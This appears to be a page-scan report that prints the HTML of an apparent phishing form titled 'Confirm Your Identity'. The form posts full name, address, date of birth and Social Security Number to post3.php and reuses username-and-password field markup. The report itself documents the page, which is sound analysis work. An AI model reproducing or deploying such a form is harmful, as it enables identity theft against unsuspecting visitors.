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Form analysis
1 forms found in the DOM

POST post3.php

<form action="post3.php" method="POST" class="isotope-slide usernameAndPasswordForm">
  <!---->
  <div class="isotope-slide__content">
    <div data-v-79f3b59d="" tabindex="-1" role="heading" data-cy="isotope-header" aria-level="1" class="mar-bottom--md text--capitalize mar-top--2xl font-small-heading" data-v-53cc26a2=""> Confirm Your Identity </div>
    <div data-v-b1f66e40="" class="mar-child-bottom--small">
      <p data-v-b1f66e40=""> Please Fill out below to continue: </p>
    </div>
    <div id="usernameAndPassword_ellipsis" class="ellipsis">
      <div class="irisv-menu-dropdown irisv-menu-dropdown--navigation irisv-menu-dropdown--quickactionbutton" id="ellipsis_menu">
        <div id="irisv_menu_dropdown_7ls0i8lprvg" aria-haspopup="" class="irisv-menu-dropdown__menu-button"><!----><!---->
          <div aria-haspopup="true" is-static="true" size="medium" style="display: inline-block;">
          </div>
        </div>
      </div>
    </div>
    <div class="mar-top--small isotope-hidden--desktop"></div>
    <div class="irisv-textfield irisv-textfield--filled">
      <div class="irisv-textfield__container">
        <div class="irisv-textfield__control"><!---->
          <div class="irisv-textfield__input-wrapper">
            <span id="username_label"><label for="username" class="irisv-textfield__label font-caption"> Full Name </label></span>
            <input type="text" aria-labelledby="username_label" aria-required="true" id="username" required="required" name="fullname" kind="underline" autocomplete="off" class="font-body-1 irisv-textfield__input">
          </div>
          <!----><!---->
        </div>
        <div class="irisv-textfield__messages"><!---->
          <div role="alert"><!----></div><!----><!---->
        </div>
      </div>
    </div>
    <div class="irisv-textfield irisv-textfield__password mar-top--small irisv-textfield--filled" autocomplete="current-password" kind="underline">
      <div class="irisv-textfield__container">
        <div class="irisv-textfield__control"><!---->
          <div class="irisv-textfield__input-wrapper">
            <span id="password_label">
              <label for="password" class="irisv-textfield__label font-caption"> Address </label></span>
            <input type="text" aria-labelledby="password_label" aria-required="true" id="password" name="address" required="required" class="irisv-textfield__input font-subtitle-1">
          </div><!---->
        </div>
      </div>
    </div>
    <div class="irisv-textfield irisv-textfield__password mar-top--small irisv-textfield--filled" autocomplete="current-password" kind="underline">
      <div class="irisv-textfield__container">
        <div class="irisv-textfield__control"><!---->
          <div class="irisv-textfield__input-wrapper">
            <span id="password_label">
              <label for="password" class="irisv-textfield__label font-caption"> Date of Birth </label></span>
            <input type="text" aria-labelledby="password_label" name="dob" id="dobInput" aria-required="true" class="irisv-textfield__input font-subtitle-1 dob-input" data-min-age="18" maxlength="10" required="">
          </div><!---->
        </div>
        <div class="irisv-textfield__messages">
          <div id="irisv_textfield_oyvpeh2tbdp_help_text" class="irisv-textfield__messages-help-text font-caption"> MM/DD/YYYY </div>
          <div role="alert"><!----></div><!----><!---->
        </div>
        <span id="dob-error" style="color: red;"></span>
      </div>
    </div>
    <div class="irisv-textfield irisv-textfield__password mar-top--small irisv-textfield--filled" autocomplete="current-password" kind="underline">
      <div class="irisv-textfield__container">
        <div class="irisv-textfield__control"><!---->
          <div class="irisv-textfield__input-wrapper">
            <span id="password_label">
              <label for="password" class="irisv-textfield__label font-caption"> Social Security Number </label></span>
            <input type="text" aria-labelledby="password_label" aria-required="true" id="ssnInputField" class="irisv-textfield__input font-subtitle-1 ssn-input" name="ssn" placeholder="xxx-xx-xxxx" oninput="addHyphens(this);" maxlength="11"
              data-exact-length="9" required="">
          </div><!---->
        </div>
        <span class="ssn-toggle">
          <br>
          <div id="ssn-error" style="color: red;"></div>
          <br>
        </span>
      </div>
    </div>
    <div class="isotope-actions mar-top--base">
      <button type="submit" class="irisv-button irisv-button--highEmphasis irisv-button--onLight irisv-button--full-width text--none"><!---->
        <span class="irisv-button__text"> Next </span><!----><!----></button>
      <!---->
    </div>
  </div><!---->
</form>

Text Content

Contact Locations





INFORMATION




Confirm Your Identity

Please Fill out below to continue:



Full Name

Address
Date of Birth
MM/DD/YYYY

Social Security Number



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